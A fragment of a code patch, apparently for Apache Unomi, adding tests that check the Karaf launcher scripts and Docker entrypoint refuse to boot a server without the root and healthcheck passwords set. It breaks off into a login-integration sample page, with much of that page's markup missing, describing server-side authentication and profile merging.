+ * {@code bin/karaf stop} and {@code bin/karaf status} keep {@code KARAF_SCRIPT=karaf} but replace
+ * the main class with {@code Main.Stop} / {@code Main.Status}: no server is started, so no
+ * password is needed. Requiring one would make an instance impossible to shut down cleanly from a
+ * shell that no longer has the startup environment.
+ */
+ @ParameterizedTest(name = "bin/karaf {0}")
+ @ValueSource(strings = {"stop", "status"})
+ void setenv_doesNotBlockSubcommandsThatDoNotStartAServer(String subcommand, @TempDir Path tempDir) throws Exception {
+ assumeTrue(hasPosixShell(), "requires a POSIX shell");
+ Path karafHome = Files.createDirectories(tempDir.resolve(subcommand));
+ installFakeKarafHome(karafHome, DEFAULT_KARAF_SCRIPT, "${env:UNOMI_ROOT_PASSWORD}", "${env:UNOMI_HEALTHCHECK_PASSWORD}");
+
+ Result result = runLauncher(karafHome, DEFAULT_KARAF_SCRIPT, new HashMap<>(), subcommand);
+ assertEquals(0, result.exitCode, "'karaf " + subcommand + "' must not require the passwords:\n" + result.output);
+ assertTrue(result.output.contains("LAUNCHED"), result.output);
+ }
+
+ /**
+ * Regression guard for a real bug: the inner skip list once read {@code stop|status|client|shell},
+ * which silently disabled the password check for {@code bin/karaf client} and
+ * {@code bin/karaf shell}. Those subcommands are not the {@code bin/client} /
+ * {@code bin/shell} remote consoles - the karaf script does not special-case them, so they fall
+ * through to {@code org.apache.karaf.main.Main} and boot a complete server, admin account
+ * included. The same is true of any argument the script does not recognise. Only {@code stop} and
+ * {@code status} may skip the check; everything else here must still be refused.
+ */
+ @ParameterizedTest(name = "bin/karaf {0}")
+ @ValueSource(strings = {"client", "shell", "console", "--an-argument-karaf-does-not-know"})
+ void setenv_stillGuardsSubcommandsThatBootAFullServer(String subcommand, @TempDir Path tempDir) throws Exception {
+ assumeTrue(hasPosixShell(), "requires a POSIX shell");
+ Path karafHome = Files.createDirectories(tempDir.resolve(subcommand.replace("-", "_")));
+ installFakeKarafHome(karafHome, DEFAULT_KARAF_SCRIPT, "${env:UNOMI_ROOT_PASSWORD}", "${env:UNOMI_HEALTHCHECK_PASSWORD}");
+
+ Result result = runLauncher(karafHome, DEFAULT_KARAF_SCRIPT, new HashMap<>(), subcommand);
+ assertEquals(1, result.exitCode,
+ "'karaf " + subcommand + "' starts a full server, so it must refuse to run without passwords:\n" + result.output);
+ assertFalse(result.output.contains("LAUNCHED"), "the launcher must not be reached for 'karaf " + subcommand + "'");
+ assertTrue(result.output.contains("UNOMI_ROOT_PASSWORD is not set"), result.output);
+ }
+
+ // ---------------------------------------------------------------- docker entrypoint, executed
+
+ @Test
+ void entrypoint_refusesToStartWhenPasswordsMissing(@TempDir Path workDir) throws Exception {
+ assumeTrue(hasPosixShell(), "requires a POSIX shell");
+ Path guard = extractEntrypointPasswordGuard(workDir);
+
+ assertEquals(1, runShell(guard, workDir, new HashMap<>()).exitCode,
+ "the Docker entrypoint must exit non-zero without passwords");
+
+ Map env = new HashMap<>();
+ env.put("UNOMI_ROOT_PASSWORD", "a-strong-password");
+ env.put("UNOMI_HEALTHCHECK_PASSWORD", "a-strong-health-password");
+ Result provided = runShell(guard, workDir, env);
+ assertEquals(0, provided.exitCode, provided.output);
+ assertTrue(provided.output.contains("GUARD-PASSED"), provided.output);
+ }
+
+ // ---------------------------------------------------------------- setenv.bat regression guard
+
+ /**
+ * {@code karaf.bat} sets {@code KARAF_SCRIPT} with the quotes included in the value
+ * ({@code SET KARAF_SCRIPT="karaf.bat"}), so comparing {@code "%KARAF_SCRIPT%"} against
+ * {@code "karaf.bat"} never matches and the whole check is skipped. The quotes must be stripped
+ * before comparing. This cannot be executed on a POSIX CI machine, so assert the shape instead.
+ */
+ @Test
+ void setenvBat_stripsQuotesBeforeComparingKarafScript() throws Exception {
+ String content = Files.readString(repoFile("package/src/main/resources/bin/setenv.bat"));
+
+ assertTrue(content.contains("%KARAF_SCRIPT:\"=%"),
+ "setenv.bat must strip the quotes karaf.bat embeds in KARAF_SCRIPT");
+ assertFalse(content.contains("\"%KARAF_SCRIPT%\"==\"karaf.bat\""),
+ "comparing the raw KARAF_SCRIPT against karaf.bat never matches");
+ assertTrue(content.contains("UNOMI_ROOT_PASSWORD") && content.contains("UNOMI_HEALTHCHECK_PASSWORD"),
+ "setenv.bat must check both passwords");
+ }
+
+ // ---------------------------------------------------------------- helpers
+
+ /**
+ * Finds the repository root by walking up from the working directory until an ancestor holds
+ * both shipped launcher scripts this test executes. Matching on a single relative path
+ * would let a nested checkout (or any unrelated directory that happens to contain a
+ * {@code package/} tree) win, and the test would then silently assert against the wrong sources.
+ */
+ private static Path locateRepoRoot() {
+ Path start = Paths.get("").toAbsolutePath().normalize();
+ for (Path candidate = start; candidate != null; candidate = candidate.getParent()) {
+ if (Files.isRegularFile(candidate.resolve(SETENV_PATH))
+ && Files.isRegularFile(candidate.resolve(ENTRYPOINT_PATH))) {
+ return candidate;
+ }
+ }
+ throw new IllegalStateException("Could not locate the Unomi repository root from " + start
+ + " (looked for an ancestor containing both " + SETENV_PATH + " and " + ENTRYPOINT_PATH + ")");
+ }
+
+ /**
+ * Resolves a repository-relative path against the detected repository root, so the test works
+ * regardless of which module directory the build runs it from.
+ */
+ private static Path repoFile(String relativePath) {
+ Path resolved = REPO_ROOT.resolve(relativePath);
+ if (!Files.exists(resolved)) {
+ throw new IllegalStateException("Could not locate " + relativePath + " under repository root " + REPO_ROOT);
+ }
+ return resolved;
+ }
+
+ private static boolean hasPosixShell() {
+ return !System.getProperty("os.name", "").toLowerCase().contains("win");
+ }
+
+ /**
+ * Builds a throwaway Karaf layout containing the real {@code bin/setenv} plus a stub launcher
+ * that mimics how the shipped scripts source it. {@code karafScript} names the stub and the value
+ * it exports as {@code KARAF_SCRIPT}, so tests can reproduce {@code bin/karaf}, {@code bin/start},
+ * {@code bin/stop}, ... rather than only ever exercising {@code karaf}.
+ */
+ private static void installFakeKarafHome(Path karafHome, String karafScript, String rootPassword, String healthPassword)
+ throws IOException {
+ Path bin = Files.createDirectories(karafHome.resolve("bin"));
+ Path etc = Files.createDirectories(karafHome.resolve("etc"));
+
+ Files.copy(repoFile(SETENV_PATH), bin.resolve("setenv"));
+ Files.write(etc.resolve("custom.system.properties"),
+ (ROOT_PASSWORD_PROPERTY + "=" + rootPassword + "\n"
+ + HEALTHCHECK_PASSWORD_PROPERTY + "=" + healthPassword + "\n").getBytes(StandardCharsets.UTF_8));
+
+ // Mirrors apache-karaf/bin/
+
+
+
+
+
Login integration sample
+
+
+
+
+
+
+ To test merge: login once, note profileId, clear the context-profile-id cookie
+ (or use a private window), login again with the same email — you should get the same master profile.
+
+
+
+
How this sample works
+
+
+ - This page posts the form to a server-side servlet
+ (
/login/authenticate) — not to /cxs/context.json.
+ - The servlet checks the demo password
setup.sh generated and stored as
+ demoPassword, then calls Unomi with trusted Basic
+ credentials (a tenant private key).
+ - The bundled
exampleLogin rule merges on email
+ mergeProfilesOnPropertyAction (trusted callers only, UNOMI-972).
+
+
+
+
+
+